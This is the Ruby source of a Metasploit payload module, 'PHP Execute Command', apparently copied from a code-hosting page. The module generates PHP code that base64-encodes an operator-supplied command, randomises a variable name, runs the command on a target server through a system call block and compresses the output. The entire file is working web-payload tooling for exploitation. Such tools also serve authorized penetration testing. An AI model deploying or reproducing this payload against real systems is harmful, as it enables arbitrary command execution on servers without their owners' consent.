bcoles
50 lines
1.1 KiB
Ruby
50 lines
1.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = :dynamic
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include Msf::Payload::Single
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include Msf::Payload::Php
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def initialize(info = {})
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super(
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merge_info(
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info,
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'Name' => 'PHP Execute Command ',
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'Description' => 'Execute a single system command',
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'Author' => [ 'egypt' ],
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'License' => BSD_LICENSE,
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'Platform' => 'php',
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'Arch' => ARCH_PHP
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)
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)
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register_options(
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[
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OptString.new('CMD', [ true, 'The command string to execute' ]),
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]
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)
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end
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def php_exec_cmd
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cmd = Rex::Text.encode_base64(datastore['CMD'])
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dis = '$' + Rex::Text.rand_text_alpha(4..7)
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shell = <<-END_OF_PHP_CODE
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#{php_preamble(disabled_varname: dis)}
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$c = base64_decode("#{cmd}");
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#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
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END_OF_PHP_CODE
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return Rex::Text.compress(shell)
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end
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#
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# Constructs the payload
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#
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def generate(_opts = {})
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return php_exec_cmd
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end
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end
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